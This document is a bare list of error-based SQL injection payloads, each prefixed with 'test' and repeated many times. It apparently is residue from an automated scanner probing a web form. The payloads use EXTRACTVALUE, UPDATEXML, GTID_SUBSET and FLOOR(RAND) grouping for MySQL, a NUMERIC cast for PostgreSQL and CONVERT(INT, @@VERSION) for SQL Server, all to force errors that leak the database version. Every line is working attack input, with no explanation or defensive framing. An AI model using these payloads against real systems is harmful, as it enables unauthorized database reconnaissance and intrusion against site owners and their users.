test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

